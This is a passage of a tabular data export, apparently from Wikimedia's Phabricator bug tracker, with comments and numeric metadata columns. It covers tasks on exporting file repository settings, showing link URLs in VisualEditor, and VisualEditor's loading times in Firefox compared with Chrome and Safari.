* Wikis where their repo is Commons but through their own wgForeignFileRepos setting (e.g. like on WMF where we use more fine-tuned configuration that does essentially the same, or wikis that configure it but don't use wgUseInstantCommons because they want to set different parameters (e.g. disable repo[fetchDescription] or use a non-default repo[cacheExpiry]).

* Wikis with more than 2 repositories.

* Wikis working with other repos (e.g. a wiki farm might have their own commons-like thing).

Especially reason #1 since we do use InstantCommons in production but not the default settings through the UseInstantCommons toggle. We could hardcode some detection and export ""isUsingCommonsAsARepoSomehow"", but might as well take a few more minutes and figure out how to just export an array of api urls.


[] https://www.mediawiki.org/wiki/Manual:$wgUseInstantCommons#Details",,,1374150733,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-n6pkynrqsgqpbnp7oitd,task_subcomment,,True,c1,3,True,,,2,,1.0,0.0,0.5,0.0,1.0,8.5,0.0,0.5,0.0,0.0,4.0,1.5,0.0,0.5,0.0,2.5,0.5,11.5,8.0,0.0,1.5,0.5,0.5,0.0,0.0,1.0,0.0,0.0,1.5,1.5,0.5,3.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,13.0,1.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.0,0.5,0.0,0.0,0.5,0.0,3.5,1.0,6.5,2.5,5.0,4.5,0.0,0.0,0.0,0.5,7.5,0.5,1.0,0.0,5.0,8.0,3.5,0.0,1.0,0.0,5.0,0.0,2.5,2.0,0.0,1.5,1.5,0.0,1.0,4.501399776035834,0.798936170212766,"Ideally we'd avoid hardcoding Commons entirely and instead of exporting isInstantCommons, we'd export fileRepos. That should be almost as easy to do and would fix other things as well:

* Wikis where their repo is Commons but through their own wgForeignFileRepos setting (e.g. like on WMF where we use more fine-tuned configuration that does essentially the same, or wikis that configure it but don't use wgUseInstantCommons because they want to set different parameters (e.g. disable repo[fetchDescription] or use a non-default repo[cacheExpiry]).

* Wikis with more than 2 repositories.

* Wikis working with other repos (e.g. a wiki farm might have their own commons-like thing).

Especially reason #1 since we do use InstantCommons in production but not the default settings through the UseInstantCommons toggle. We could hardcode some detection and export ""isUsingCommonsAsARepoSomehow"", but might as well take a few more minutes and figure out how to just export an array of api urls.


[] URL"
52646,VisualEditor: Internal links should display the page's URL in the status bar on the browsers that do that,"Not sure the technical term, but: if I hover over, for example, the bugzilla ""search bugs"" link, it shows as a URL in the bottom left of firefox, allowing me to identify the destination. The same is true in articles in read mode. It'd be good to have this functionality in the VisualEditor, or some other way of more prominently identifying where links are going to: hovering over every. single. one. doesn't really work.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1372840860,1415226643.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-vqlk4nl6b5bryutwjnk3,task_description,declined,True,c1,3,False,False,False,0,,2.0,0.0,0.0,0.0,1.5,5.5,1.5,0.0,0.0,0.5,3.0,1.5,0.0,0.0,0.0,1.0,1.0,5.5,8.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,3.5,0.5,1.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,4.0,0.0,1.5,0.0,0.0,0.0,8.5,0.0,1.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,2.5,5.0,1.5,1.5,6.5,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,2.0,8.5,1.0,0.0,1.0,0.0,2.0,0.0,1.0,0.5,0.5,3.0,1.0,0.0,0.0,3.8636363636363638,0.7727272727272727,"Not sure the technical term, but: if I hover over, for example, the bugzilla ""search bugs"" link, it shows as a URL in the bottom left of firefox, allowing me to identify the destination. The same is true in articles in read mode. It'd be good to have this functionality in the VisualEditor, or some other way of more prominently identifying where links are going to: hovering over every. single. one. doesn't really work.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
251816,VisualEditor: Internal links should display the page's URL in the status bar on the browsers that do that,Re-marking as WORKSFORME.,,,1415226643,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vqlk4nl6b5bryutwjnk3,task_subcomment,,True,c1,3,True,,,70,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,3.8333333333333335,1.0,Re-marking as WORKSFORME.
251809,VisualEditor: Internal links should display the page's URL in the status bar on the browsers that do that,"As for the issue of browsers not displaying the link target in the status bar when you hover them: that's a browser problem. Neither Firefox nor Chrome appears to do this for links in a contentEditable.

However, since the filing of this bug we do have a better way than tooltips links to show their targets: when you put your cursor in a link, the context menu now shows the target of the link rather than just a link icon.

So, WONTFIX?",,,1415226397,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-vqlk4nl6b5bryutwjnk3,task_subcomment,,True,c1,3,False,,,70,,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,1.0,9.0,15.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,2.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,13.0,0.0,7.0,3.0,1.0,17.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,15.0,3.0,1.0,0.0,0.0,6.0,0.0,2.0,5.0,1.0,1.0,1.0,0.0,0.0,3.8191489361702127,0.6595744680851063,"As for the issue of browsers not displaying the link target in the status bar when you hover them: that's a browser problem. Neither Firefox nor Chrome appears to do this for links in a contentEditable.

However, since the filing of this bug we do have a better way than tooltips links to show their targets: when you put your cursor in a link, the context menu now shows the target of the link rather than just a link icon.

So, WONTFIX?"
251802,VisualEditor: Internal links should display the page's URL in the status bar on the browsers that do that,"Removing See Also and unassigning; I thought this was about link suggestions in the dropdown in the link inspector, but it doesn't appear to be.",,,1415226144,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-vqlk4nl6b5bryutwjnk3,task_subcomment,,True,c1,3,False,,,70,,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,3.0,0.0,7.0,14.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,7.0,7.0,14.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.137931034482759,0.896551724137931,"Removing See Also and unassigning; I thought this was about link suggestions in the dropdown in the link inspector, but it doesn't appear to be."
251793,VisualEditor: Internal links should display the page's URL in the status bar on the browsers that do that,"(In reply to comment #1)
> Links are now displaying page URL.Checked in FireFox 20

They are not in Firefox 25.0 on Fedora 19 in VE edit mode for me on https://en.wikipedia.org/w/index.php?title=Wikimedia_Foundation&veaction=edit",,,1384254853,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-vqlk4nl6b5bryutwjnk3,task_subcomment,,True,c1,3,True,,,19,,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,25.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,11.0,0.0,7.0,25.0,11.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.9642857142857144,0.9285714285714286,"(In reply to comment #1)
QUOTE

They are not in Firefox 25.0 on Fedora 19 in VE edit mode for me on URL"
251785,VisualEditor: Internal links should display the page's URL in the status bar on the browsers that do that,"Links are now displaying page URL.Checked in FireFox 20 and Chrome Version 26.0.1410.65 using MAC OS X 10.8.5.
Therefore changing the status to resolved-worksforme for now.
If you experience this problem again,please reopen the bug.",,,1384220252,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-vqlk4nl6b5bryutwjnk3,task_subcomment,,True,c1,3,False,,,19,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,23.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,0.0,2.0,9.0,14.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.545454545454546,0.8863636363636364,"Links are now displaying page URL.Checked in FireFox 20 and Chrome Version 26.0.1410.65 using MAC OS X 10.8.5.
Therefore changing the status to resolved-worksforme for now.
If you experience this problem again,please reopen the bug."
52616,Improve VisualEditor's loading performance in Firefox,"I imagine this is mostly due to Firefox's JS engine, but I commonly run across articles that take an extremely long time to load the new VisualEditor interface. For example, ""Domestic violence"" and ""Feminism"" take about 30 seconds. Really long articles like ""World War II"" take over a minute. The interface loads in about half that time in Safari. I'm using Firefox 21.

Comparative loading figures:

| Article | FF 32, 2014-09 | Cr 37, 2014-09
|--|--|--|--|--
| Barack Obama | 17.6s | 17.2s
|--
| Cat | 16.4s | 16.0s
|--
| Beyoncé Knowles | 25.4s | 7.5s
|--
| India | 26.8s | 5.6s
|--
| Richard Nixon | 9.9s | 5.6s
|--
| Europe | 28.3s | 7.1s
|--
| English language | 18.2 | 8.0s
|--


| Article | FF 34.05 2014-12 |Cr 39 2014-12
|--|--|--|--|--
| Barack Obama | 13.23s | 10.61s
|--
| Cat | 11.59s |5.82s
|--
| Beyoncé Knowles | 8.01s|5.13s
|--
| India | 8.90s |5.64s
|--
| Richard Nixon | 8.85s|6.36s
|--
| Europe | 10.31s|6.52s
|--
| English language |6.98s|5.45s
|--
",Low,25.0,1372802220,1595844165.0,PHID-USER-a5pveeqqwaddgfjiv2fq,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-ysfxvsvtwjpipqsulyul,task_description,resolved,True,c1,3,False,False,False,0,,0.0,0.0,0.3333333333333333,0.0,0.0,3.6666666666666665,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,6.666666666666667,2.6666666666666665,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,2.6666666666666665,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,23.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,1.3333333333333333,0.3333333333333333,15.0,0.0,0.6666666666666666,2.3333333333333335,0.0,0.0,0.0,0.0,1.0,0.0,7.666666666666667,0.0,1.0,2.6666666666666665,15.0,0.0,2.0,0.0,1.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,3.4008744855967077,0.5409465020576131,"I imagine this is mostly due to Firefox's JS engine, but I commonly run across articles that take an extremely long time to load the new VisualEditor interface. For example, ""Domestic violence"" and ""Feminism"" take about 30 seconds. Really long articles like ""World War II"" take over a minute. The interface loads in about half that time in Safari. I'm using Firefox 21.

Comparative loading figures:

| Article | FF 32, 2014-09 | Cr 37, 2014-09
|--|--|--|--|--
| Barack Obama | 17.6s | 17.2s
|--
| Cat | 16.4s | 16.0s
|--
| Beyoncé Knowles | 25.4s | 7.5s
|--
| India | 26.8s | 5.6s
|--
| Richard Nixon | 9.9s | 5.6s
|--
| Europe | 28.3s | 7.1s
|--
| English language | 18.2 | 8.0s
|--


| Article | FF 34.05 2014-12 |Cr 39 2014-12
|--|--|--|--|--
| Barack Obama | 13.23s | 10.61s
|--
| Cat | 11.59s |5.82s
|--
| Beyoncé Knowles | 8.01s|5.13s
|--
| India | 8.90s |5.64s
|--
| Richard Nixon | 8.85s|6.36s
|--
| Europe | 10.31s|6.52s
|--
| English language |6.98s|5.45s
|--
"
1551340,Improve VisualEditor's loading performance in Firefox,"Yeah; let's claim this as Resolved, in as much as it can be.",,,1595844165,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ysfxvsvtwjpipqsulyul,task_subcomment,,True,c1,3,True,,,369,,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,18.0,6.0,0.0,0.0,12.0,18.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.823529411764706,0.8823529411764706,"Yeah; let's claim this as Resolved, in as much as it can be."
1550917,Improve VisualEditor's loading performance in Firefox,">>! From the **task description**:
> | Article | FF 32, 2014-09 | Cr 37, 2014-09
> |--|--|--|--|--
> | Barack Obama | 17.6s | 17.2s
> |--
> | Cat | 16.4s | 16.0s
> |--
> | Beyoncé Knowles | 25.4s | 7.5s
> |--
> | India | 26.8s | 5.6s
> |--
> | Richard Nixon | 9.9s | 5.6s
> |--
> | Europe | 28.3s | 7.1s
> |--
> | English language | 18.2 | 8.0s
> |--
> 
> 
> | Article | FF 34.05 2014-12 |Cr 39 2014-12
> |--|--|--|--|--
> | Barack Obama | 13.23s | 10.61s
> |--
> | Cat | 11.59s |5.82s
> |--
> | Beyoncé Knowles | 8.01s|5.13s
> |--
> | India | 8.90s |5.64s
> |--
> | Richard Nixon | 8.85s|6.36s
> |--
> | Europe | 10.31s|6.52s
> |--
> | English language |6.98s|5.45s
> |--
> 

Six years later – some updated numbers. I couldn't find any  record of how the above was measured. I'm measuring the below based on the `timing.ve.mwTarget.performance.system.activation` metric. Method: open article while logged-in, click Edit, wait for loading to complete, and only then open the console and run `mw.trackSubscribe('timing', console.log)`. I then close the console, close the editor, hard refresh, and measure it once more. Numbers were trimmed to 1 decimal without rounding.

Setup: MacBook Pro with macOS 10.15 Catalina. Using unthrottled latest stable Firefox, Chrome, and Safari.

| Article | FF 78 2020-07 | Cr 83 2020-07 | Saf 13 2020-07
|--|--|--|--|--
| Barack Obama | 8.0s, 7.9s | 4.9s, 4.6s | 9.4s, 8.9s
|--
| Cat | 4.2s, 4.1s | 2.8s, 2.4s | 3.8s, 3.7s
|--
| Beyoncé Knowles|5.6s, 5.2s| 4.2s, 4.0s | 5.7s, 5.2s
|--
| India | 6.2s, 6.1s| 4.3s, 4.1s | 8.0s, 7.7s
|--
| Richard Nixon | 4.2s, 4.2s | 3.5s, 3.2s | 4.9s, 4.5s
|--
| Europe|6.0s, 5.9s | 5.6s, 4.7s| 5.8s,  5.0s
|--
| English language | 4.9s, 4.6s | 3.8s, 3.6s | 4.3s, 4.3s
|--

The load times have shrunk a lot across the board. It's also interesting to see that while Safari generally feels faster than either Chrome or Firefox when browsing day-to-day, with the specific payload of initialising VisualEditor it's more or less on part with Firefox, with Chrome still being notably faster.

Having said that, I would say overall that the differences are now small enough to not need a ticket specifically about Firefox. And that generally speaking we are still consistently taking more than one second to load popular articles which would be great to bring down, but that's outside the scope of this task and it's certainly much much better than it was six years ago.",,,1595631881,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ysfxvsvtwjpipqsulyul,task_subcomment,,True,c1,3,True,,,368,,0.8,0.0,0.0,0.4,0.4,3.6,0.4,0.0,0.0,0.0,0.2,0.4,0.0,0.2,0.0,1.0,0.2,6.6,6.8,0.0,1.0,0.0,0.4,0.0,0.8,0.0,0.0,0.8,0.2,0.4,0.0,2.2,0.6,1.0,0.4,0.0,0.0,0.0,0.6,0.0,0.0,0.0,0.6,0.0,0.0,0.2,0.0,0.0,0.2,12.0,0.4,0.6,0.0,0.8,0.2,0.0,0.0,0.4,1.0,0.0,0.0,0.4,0.2,0.2,0.0,0.2,0.0,2.6,1.4,16.0,1.4,2.0,4.0,0.0,0.0,0.0,0.0,2.6,0.0,6.4,0.0,2.0,6.8,17.8,0.0,0.0,0.0,2.0,0.0,0.6,0.4,0.0,1.8,1.6,0.2,0.0,3.5293597706641187,0.5642857142857143,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Six years later – some updated numbers. I couldn't find any  record of how the above was measured. I'm measuring the below based on the CODE metric. Method: open article while logged-in, click Edit, wait for loading to complete, and only then open the console and run CODE. I then close the console, close the editor, hard refresh, and measure it once more. Numbers were trimmed to 1 decimal without rounding.

Setup: MacBook Pro with macOS 10.15 Catalina. Using unthrottled latest stable Firefox, Chrome, and Safari.

| Article | FF 78 2020-07 | Cr 83 2020-07 | Saf 13 2020-07
|--|--|--|--|--
| Barack Obama | 8.0s, 7.9s | 4.9s, 4.6s | 9.4s, 8.9s
|--
| Cat | 4.2s, 4.1s | 2.8s, 2.4s | 3.8s, 3.7s
|--
| Beyoncé Knowles|5.6s, 5.2s| 4.2s, 4.0s | 5.7s, 5.2s
|--
| India | 6.2s, 6.1s| 4.3s, 4.1s | 8.0s, 7.7s
|--
| Richard Nixon | 4.2s, 4.2s | 3.5s, 3.2s | 4.9s, 4.5s
|--
| Europe|6.0s, 5.9s | 5.6s, 4.7s| 5.8s,  5.0s
|--
| English language | 4.9s, 4.6s | 3.8s, 3.6s | 4.3s, 4.3s
|--

The load times have shrunk a lot across the board. It's also interesting to see that while Safari generally feels faster than either Chrome or Firefox when browsing day-to-day, with the specific payload of initialising VisualEditor it's more or less on part with Firefox, with Chrome still being notably faster.

Having said that, I would say overall that the differences are now small enough to not need a ticket specifically about Firefox. And that generally speaking we are still consistently taking more than one second to load popular articles which would be great to bring down, but that's outside the scope of this task and it's certainly much much better than it was six years ago."
966570,Improve VisualEditor's loading performance in Firefox,">>! In T52616#3769993, @Elitre wrote:
> T171093 ?

That's for a performance review, which isn't technically the same as making performance improvements. I don't particularly object to merging this into that, but I don't think it's quite right.",,,1510937642,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-ysfxvsvtwjpipqsulyul,task_subcomment,,True,c1,3,True,,,228,,0.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,5.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,12.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,4.093023255813954,0.7906976744186046,"QUOTE
QUOTE

That's for a performance review, which isn't technically the same as making performance improvements. I don't particularly object to merging this into that, but I don't think it's quite right."
966527,Improve VisualEditor's loading performance in Firefox,">>! In T52616#3769774, @Deskana wrote:
> I actually don't see a more general task for improving performance of the visual editor anywhere, so I guess I'll just leave this as it is for now.

T171093 ?",,,1510933858,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-ysfxvsvtwjpipqsulyul,task_subcomment,,True,c1,3,False,,,228,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.8333333333333334,"QUOTE
QUOTE

T171093 ?"
966488,Improve VisualEditor's loading performance in Firefox,">>! In T52616#3769774, @Deskana wrote:
> I actually don't see a more general task for improving performance of the visual editor anywhere, so I guess I'll just leave this as it is for now.

Good idea actually: I was telling myself that there is plenty of computers which will not receive the update son (or will never receive an update), and we still have to improve performances for them.",,,1510930415,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-ysfxvsvtwjpipqsulyul,task_subcomment,,True,c1,3,False,,,228,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,9.0,9.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,5.0,5.0,9.0,2.0,5.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,2.0,5.0,2.0,0.0,0.0,0.0,4.045454545454546,0.9090909090909091,"QUOTE
QUOTE

Good idea actually: I was telling myself that there is plenty of computers which will not receive the update son (or will never receive an update), and we still have to improve performances for them."
966487,Improve VisualEditor's loading performance in Firefox,"I actually don't see a more general task for improving performance of the visual editor anywhere, so I guess I'll just leave this as it is for now.",,,1510930305,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-ysfxvsvtwjpipqsulyul,task_subcomment,,True,c1,3,True,,,228,,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,9.0,0.0,22.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,3.75,0.90625,"I actually don't see a more general task for improving performance of the visual editor anywhere, so I guess I'll just leave this as it is for now."
966483,Improve VisualEditor's loading performance in Firefox,">>! In T52616#3769691, @Trizek-WMF wrote:
> Firefox 57 really improves that issue (I can notice it even with my good computer which had a fast enough Firefox). Maybe reconsider that task?

Yeah, I doubt we'll work specifically on improving Firefox 57 performance directly, and instead choose to work on performance more generally. I can merge this into a more general task. In the unlikely event we do decide to work directly on Firefox 57 in the future, this can be reopened.",,,1510930006,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-ysfxvsvtwjpipqsulyul,task_subcomment,,True,c1,3,True,,,228,,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,7.0,0.0,11.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,13.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,11.0,2.0,3.0,0.0,7.0,13.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,2.0,3.0,0.0,0.0,4.114754098360656,0.6721311475409836,"QUOTE
QUOTE

Yeah, I doubt we'll work specifically on improving Firefox 57 performance directly, and instead choose to work on performance more generally. I can merge this into a more general task. In the unlikely event we do decide to work directly on Firefox 57 in the future, this can be reopened."
966477,Improve VisualEditor's loading performance in Firefox,Firefox 57 really improves that issue (I can notice it even with my good computer which had a fast enough Firefox). Maybe reconsider that task?,,,1510929558,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-ysfxvsvtwjpipqsulyul,task_subcomment,,True,c1,3,False,,,228,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,7.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,10.0,3.0,7.0,3.0,0.0,0.0,10.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,4.103448275862069,0.9310344827586207,Firefox 57 really improves that issue (I can notice it even with my good computer which had a fast enough Firefox). Maybe reconsider that task?
411482,Improve VisualEditor's loading performance in Firefox,"This is really a tracker bug more than a specific call-to-action, so we decided in the meeting to remove it from the Q3 blockers list at the triage on 2015-02-11.",,,1423878817,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ysfxvsvtwjpipqsulyul,task_subcomment,,True,c1,3,True,,,84,,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,18.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,5.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,5.0,18.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,3.325,0.825,"This is really a tracker bug more than a specific call-to-action, so we decided in the meeting to remove it from the Q3 blockers list at the triage on 2015-02-11."
